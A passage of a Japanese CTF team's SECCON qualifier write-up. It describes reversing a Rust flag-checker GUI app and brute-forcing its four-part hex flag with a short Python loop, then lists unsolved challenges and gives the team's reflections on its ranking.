「reversing は頭が動かなくなったときでも手を動かせば解けるためにリフレッシュになる」という知見を去年得ていたため、solve が多かったこの問題は敢えて後のほうに残してありました。crypto を通した後にいよいよ頭が動かなくなってきたため、この問題に着手することにしました。
Rust 製の GUI アプリケーションで、フラグチェッカーとなっています。Rust というと身構えてしまいますが、st さんが息抜きである程度解析を進めて下さっていたので解析する箇所は明らかでした。

まず、受理されるフォーマットを解析します。デコンパイル結果を読んでいると、以下のような条件分岐と加算によるループにまみれたソースコードがよく見当たります*14。

10 分ほどこれの意味を理解しようと躍起になっていましたが、冷静になるとこれは UTF-8 関連の処理なため、読み飛ばしても問題ありません。その後もデコンパイル結果を読みましたが、いまいち挙動の理解が進みませんでした。

そこで、動的解析で early return する条件を見つけ、フラグのフォーマットを解析するという方針に転換します。結果、SECCON{abcdefghijkl-nopqrs-uvwxyz-12345678} のようないくつかの場所にハイフンが必須であるというフォーマットであることが判明しました。

デコンパイルで from_str_radix という関数が呼ばれていることがわかっていたため、区切られているそれぞれの要素は 16 進数であることの予測がつきます。16 進数で適当な数を入れると、チェック部分らしきところに到達しました。

それぞれの変数が何番目の値に対応しているかの対応をとり、後はそれを満たす値を求めるのみです。z3 などのソルバを使うのもよいですが、今回は全探索でも求まりそうな大きさだったために全探索をしました*15。

from z3 import *
from progressbar import progressbar

"""
arg1 + arg2 == 0x8b228bf35f6a
arg2 + arg3 == 0xe78241
arg3 + arg4 == 0xfa4c1a9f
arg1 + arg4 == 0x8b238557f7c8
arg3 ^ arg2 ^ arg4 == 0xf9686f4d
"""
for arg2 in progressbar(range(0, 0x1_000_000)):
  arg1 = 0x8b228bf35f6a - arg2
  arg3 = 0xe78241 - arg2
  arg4 = 0xfa4c1a9f - arg3
  if arg2 ^ arg3 ^ arg4 != 0xf9686f4d: continue
  print(f'\nSECCON{{{hex(arg1)[2:].zfill(12)}-{hex(arg2)[2:].zfill(6)}-{hex(arg3)[2:].zfill(6)}-{hex(arg4)[2:].zfill(8)}}}')

こうして改めて見ると st さんが解析していた部分でほぼ全てが終わっているのですが、頭が動かなくなっていたということで許していただけないでしょうか*16。

解けなかった問題

[rev] eldercmp (19 solves / 16:21-16:45)
[crypto] insufficient (33 solves / 17:32-18:15)
[misc] latexipy (8 solves / 05:35-08:53, 12:55-13:59)

感想

去年が国内 1 位 / 国際 10 位という順位だっただけに、国内 3 位 / 国際 22 位という順位には正直なところ「もうすこしやれたな」という感覚を抱いてしまいました*17。
全体的には、20 solve 以上の解くべき問題は（insufficient を除いて）全体的に解けましたが、その一歩上の問題に全く手がつけられなかったという感覚です。手が全体的に遅いために、比較的重めの pwn 等を敬遠してしまう傾向にあるのも課題点です。
決勝には行けるようですので*18、決勝ではよい成績が残せるようあと 3 ヶ月程度精進していきたいです。

*1:ここまでほぼ去年のコピペ

*2:全問の writeup を要求されたので…… 他のチームも書いてるのかな。

*3:環境依存はありますが、今回は Docker Image が与えられているため正確な値が分かります

*4:これには今後も首を締め続けられました

*5:エディタだと黄色にハイライトされるので、違和感が持ちやすかったです

*6:これは pokemon-emerald - ImaginaryCTF 2022 にて学びました

*7:下端でも同様の議論が成立します

*8:後から確認したところ、どうやら違うようです

*9: (21-6+8)*8+4

*10:このギリギリ感からも、方針が合っているであるということをメタ読みすることができました

*11:ここで 3 時間の睡眠を挟むと、前半 10 時間半 / 後半 10 時間半 とキリがよくなります

*12:ReDoS を起こす正規表現の構築にかなり手間取りましたが……

*13:リモートに送る際は同時に複数クエリを送ったほうが高速なため、このような実装にしています

*14:「すごろく地帯」と個人的には呼んでいました

*15:z3 の bitvec だと面倒くさいことになりそうな気がしたので……

*16:だめです

*17:予選という位置づけなだけに、去年より気合の入ったチームが多かったということは重々承知の上です

*18:この writeup があと半日以内に書き上がれば！